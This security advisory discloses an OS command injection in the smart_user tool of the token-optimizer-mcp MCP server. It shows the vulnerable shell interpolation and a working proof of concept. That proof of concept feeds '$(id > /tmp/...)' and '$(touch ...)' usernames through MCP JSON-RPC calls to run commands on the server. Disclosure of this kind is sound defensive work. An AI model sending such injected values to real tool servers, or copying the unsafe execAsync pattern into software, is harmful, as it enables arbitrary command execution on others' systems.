Token Optimizer MCP: OS command injection in smart_user via username in get-user-info

NVD Description

### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation. The commands execute with the privileges of the user running the `token-optimizer-mcp` server. Confirmed impact: ```text execution of `id` as the MCP server user arbitrary file creation under /tmp through an injected command ```

Affected Packages (1)